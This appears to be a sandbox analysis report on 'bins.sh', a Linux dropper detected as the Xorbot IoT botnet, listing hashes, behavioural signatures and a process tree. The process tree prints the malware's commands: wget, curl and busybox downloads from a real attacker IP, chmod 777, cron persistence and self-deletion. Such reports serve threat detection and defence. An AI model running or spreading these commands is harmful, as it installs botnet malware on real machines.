Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17/02/2025, 10:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250217-mefzvayjay
  • SHA256 40a8eb0c28c36d4c57d708ac8e6a2e44f64093cce97e62a1e57b64926d5da03b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2051) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1487
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1488
      • /usr/bin/wget
        wget http://37.44.238.88/bins/GLvS8bAdyU4ehKCTHst4RJych287qBGrqE
        2⤵
        • Writes file to tmp directory
        PID:1489
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/GLvS8bAdyU4ehKCTHst4RJych287qBGrqE
        2⤵
        • Writes file to tmp directory
        PID:1496
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/GLvS8bAdyU4ehKCTHst4RJych287qBGrqE
        2⤵
        • Writes file to tmp directory
        PID:1503
      • /bin/chmod
        chmod 777 GLvS8bAdyU4ehKCTHst4RJych287qBGrqE
        2⤵
        • File and Directory Permissions Modification
        PID:1504
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1508
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1510
        • /bin/rm
          rm GLvS8bAdyU4ehKCTHst4RJych287qBGrqE
          2⤵
            PID:1512
          • /usr/bin/wget
            wget http://37.44.238.88/bins/98vThDlCK4eTZKH6hCGcoTblH0sXEKyfdq
            2⤵
              PID:1515
            • /usr/bin/curl
              curl -O http://37.44.238.88/bins/98vThDlCK4eTZKH6hCGcoTblH0sXEKyfdq
              2⤵
              • Writes file to tmp directory
              PID:1516

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                98vThDlCK4eTZKH6hCGcoTblH0sXEKyfdq

                • Path /tmp/98vThDlCK4eTZKH6hCGcoTblH0sXEKyfdq
                • Size 88KB
                • SHA256 fcf774d36d1dde2b866734c1d8a8d4cb4ad2468559ff070ef70c4d611bb868ca
                • MD5 SHA1 SHA512 SSDEEP

                GLvS8bAdyU4ehKCTHst4RJych287qBGrqE

                • Path /tmp/GLvS8bAdyU4ehKCTHst4RJych287qBGrqE
                • Size 98KB
                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                • MD5 SHA1 SHA512 SSDEEP

                tmp.NAwuPf

                • Path /var/spool/cron/crontabs/tmp.NAwuPf
                • Size 210B
                • SHA256 30b8c07c1c667f235ec2d7d241c458352acfeba9e92794ed0050a9e1056a0bb3
                • MD5 SHA1 SHA512